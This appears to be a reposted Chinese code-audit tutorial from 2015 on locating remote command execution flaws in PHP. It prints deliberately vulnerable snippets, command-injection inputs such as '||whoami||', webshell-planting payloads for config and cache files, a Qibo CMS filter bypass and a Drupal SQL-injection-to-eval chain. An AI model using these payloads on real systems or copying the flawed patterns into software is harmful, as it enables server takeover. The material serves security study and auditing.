分享

说说远程命令执行漏洞的那些事儿

 5与时间为敌 2015-02-28

提醒:点上方黑客技术”即可免费订阅我。

0x01 引言


如果OWASP给PHP漏洞弄个排行榜,那RCE(远程命令执行)绝对是最臭名昭著漏洞的前十名,其攻击方式灵活,且攻击成功后一般返回继承了web组件(如apache)权限的shell,危害自不必再多描述。那么,今天就来看看代码审计中到底该在哪里寻找命令执行?或者说,哪些功能会导致代码执行?

0x02漏洞寻踪


这是一个最简单的命令执行漏洞

//index.php<?php $cmd=$_GET['cmd']; system($cmd); ?>

我们可以执行

index.php?cmd=whoami

特别注意如果我们使用了

<?php $cmd=$_GET['cmd']; echo exec($cmd); ?>

由于exec() 默认没有回显,所以执行命令之后 我们是看不到结果的, 当然我们能够通过重定向,把他们导入文件中,再来查询

当然这些代码一般情况下是不可能出现在程序中的,我们仅作了解。 那么…… 到底哪里会出现命令执行呢?

Demo #1 实现查询dns的RCE

这是一个实现查询dns命令的php程序片段,由于要和系统产生信息通道,使用了system()函数,过滤不严也导致了RCE。

<?php    include('common.php');    showMenu();    echo '<br>';    $status = $_GET['status'];    $ns  = $_GET['ns'];    $host   = $_GET['host'];    $query_type   = $_GET['query_type']; // ANY, MX, A , etc.    $ip     = $_SERVER['REMOTE_ADDR'];    $self   = $_SERVER['PHP_SELF'];        $host = trim($host);          $host = strtolower($host);          echo('<span class='plainBlue'><b>Executing : <u>dig @$ns $host $query_type</u></b><br>');          echo '<pre>';          //start digging in the namserver          system ('dig @$ns $host $query_type');          echo '</pre>';    } else {?>

如果我们请求

dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

明显system ('dig whoami sirgod.com NS'); 是不能执行的

所以我们用“||”分别执行linux命令

dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=diggingsystem ('dig ||whoami|| sirgod.net NS');

那么我们就分离了dig命令和whoami 成功执行

Demo #2 配置信息保存不当的RCE

很多时候php的配置信息是直接保存在.php后缀的文件里面的 比如discuz 如果没有认真过滤…

  if(isset($action) && $action == 'setconfig') {    $config_file = 'config.php';    $handle = fopen($config_file, 'w');    $StringData = '<?phpr    $'.'news_width = ''.clean($_POST[news_width]).'';r    $'.'bgcolor = ''.clean($_POST[bgcolor]).'';r    $'.'fgcolor = ''.clean($_POST[fgcolor]).'';r    $'.'padding = ''.clean($_POST[padding]).'';r    $'.'subject_margin = ''.clean($_POST[subject_margin]).'';r    $'.'fontname = ''.clean($_POST[fontname]).'';r    $'.'fontsize = ''.clean($_POST[fontsize]).'';rn?>';    fwrite($handle, $StringData);  }

那么如果正常提交 就是

<?php $news_width = '600px'; $bgcolor = '#000000';$fgcolor = '#ffffff'; $padding = '5px'; $subject_margin = '0px'; $fontname = 'verdana'; $fontsize = '13px'; ?>

我们要是提交';system($_GET['cmd']);'

配置文件就会变成

<?php $news_width = '';system($_GET['cmd']);''; $bgcolor = '#000000'; $fgcolor = '#ffffff'; $padding = '5px'; $subject_margin = '0px'; $fontname = 'verdana'; $fontsize = '13px'; ?>

很明显这就是个合法的php文件了,也成为了一个webshell。

Demo #2 缓存写入不当的RCE

$newsfile = 'news.txt'; $file = fopen($newsfile, 'r'); .......................................................................... elseif ((isset($_REQUEST['title'])) && (isset($_REQUEST['date'])) &&(isset($_REQUEST['post'])) && ($_REQUEST['title']!='') &&($_REQUEST['date']!='') && ($_REQUEST['post']!='')) {$current_data = @fread($file, filesize($newsfile));fclose($file);$file = fopen($newsfile, 'w');$_REQUEST['post'] = stripslashes(($_REQUEST['post']));$_REQUEST['date'] = stripslashes(($_REQUEST['date']));$_REQUEST['title'] = stripslashes(($_REQUEST['title']));if(fwrite($file,$btable . ' ' . $btitle . ' ' . $_REQUEST['title'] . ' ' .  $etitle . ' ' . $bdate . ' ' . $_REQUEST['date'] . ' ' . $edate . ' ' . $bpost . ' ' . $_REQUEST['post'] . ' ' . $epost . ' ' . $etable . 'n ' . $current_data))include 'inc/posted.html';else include 'inc/error1.html'; fclose($file);

这个代码的业务功能就是写入缓存,是下次使用之前直接调用静态文件 如何显示给访客呢

<? include('news.txt'); ?>

那么我们试试注入shell

<table class='sn'> <tbody> <tr><td class='sn-title'> <?php system($_GET['cmd']); ?> </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test2 </td></tr> </tbody></table><div><br /></div> <table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr> <tr><td class='sn-date'> Posted on: 08/06/2009 </td></tr> <tr><td class='sn-post'> test </td></tr> </tbody></table><div><br /></div>

访问display.php?cmd=whoami 成功执行

0x03 实例剖析


有人就说了,上面代码是简单的phpdemo而已,实际环境中的审计肯定没有那么简单,那么,当我们面对完整的php程序,他们面对对象,基于各种框架,还怎么去寻找RCE的踪迹呢?

我们来看几个实例

齐博cms缓存写入导致远程代码执行 漏洞文件

foreach($label AS $key=>$value){var_dump ($value);exit;//如果是新标签时,即为数组array(),要清空if(is_array($value)){$label[$key]='';}}//写缓存if( (time()-filemtime($FileName))>($webdb[label_cache_time]*60) ){$_shows='<?phprn$haveCache=1;rn';foreach($label AS $key=>$value){$value=addslashes($value);$_shows.='$label['$key']=stripslashes('$value');rn';}write_file($FileName,$_shows.'?>');} }

这段代码功能很好分析 遍历标签($label)变量,并且写入缓存,

我们看看过滤函数

function Add_S($array){ foreach($array as $key=>$value){if(!is_array($value)){@eregi('['\'&]+',$key) && die('ERROR KEY!');$value=str_replace('&#x','& # x',$value); //过滤一些不安全字符$value=preg_replace('/eval/i','eva l',$value); //过滤不安全函数!get_magic_quotes_gpc() && $value=addslashes($value);$array[$key]=$value;}else{$array[$key]=Add_S($array[$key]); }}return $array;}

这里检测key的机制就出问题,,我画了个图

简而言之,他只检测最底层的key 所以我们提交label[evilcode][asd]=xx 匹配的key是asd 那么就不会被匹配出 evilcode就不会被检测。

由于qibo是 伪全局

foreach($_POST AS $_key=>$_value){!ereg('^_[A-Z]+',$_key) && $$_key=$_POST[$_key];}foreach($_GET AS $_key=>$_value){!ereg('^_[A-Z]+',$_key) && $$_key=$_GET[$_key];}

会帮我们注册好提交的变量 所以$label是能够直接控制的

那么也就是当我们提交

label['.phpinfo().'][asd]=sb

提交的key为''.phpinfo().'' 那么写入的本地文件就是

$label[''.phpinfo().'']=stripslashes();rn';

这时所有引号全都闭合

缓存文件夹中也就写入了我们的shell

Drupal函数回调导致的RCE

Drupal作为世界上公认最强大的phpweb框架,一直在追求更安全的开发方法 比如,它采用预编译的方法进行SQL交互,使得SQL注入漏洞几乎难以挖掘。然而在近期,由于一个功能中将SQL预编译权利交给了用户。

$query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);

插入用户输入数据导致sql注入

又由于drupal采用的PDO是支持多行的,所以能执行任意语句,当然这不是今天的重点。 今天我们看看如何漏洞扩大,把SQLI变成RCE 首先讲下call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

调用回调函数,并把一个数组参数作为回调函数的参数 说明

mixed call_user_func_array ( callable $callback , array $param_arr )$preferred_links = &drupal_static(__FUNCTION__);  If (!isset($path)) {    $path = $_GET['q'];  }

首先$path作为变量是可控的

function menu_execute_active_handler($path = NULL, $deliver = TRUE) { $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE; $read_only_path = !empty($path) ? $path : $_GET['q']; drupal_alter('menu_site_status', $page_callback_result, $read_only_path); if ($page_callback_result == MENU_SITE_ONLINE) {          if ($router_item = menu_get_item($path)) {              if ($router_item['access']) {                    if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; } $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']); } else { $page_callback_result = MENU_ACCESS_DENIED; } } else { $page_callback_result = MENU_NOT_FOUND; } } }if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }

包含了文件

通过预编译注入向表中插入一个语句

insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','eval', '1', 'modules/php/php.module');

path 为要执行的代码; include_file 为 PHP filter Module 的路径; page_callback 为 eval; access_callback 为 1(可以让任意用户访问)。 访问地址即可造成 RCE。

0x04 写在最后


一般来讲,漏洞形成的原因基本都是“数据与代码未有效分离”,然而RCE是个例外,往往出现rce的地方本来就是供程序执行代码的地方,加上如今php程序功能越来越强大,各种地方相互调用,导致组合利用漏洞。所以程序员写起代码来往往都不知道改怎么去防御,或者说防不胜防。 由于其漏洞实现的灵活性,寻找RCE,还是应该从功能入手,去研究代码实现了什么功能,最后变量进入什么函数,被如何调用,而不是简简单单的去进行关键字搜索,毕竟,如今代码审计已经从“哪里有洞”过渡到“如何绕过”的时代了。

——————————

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多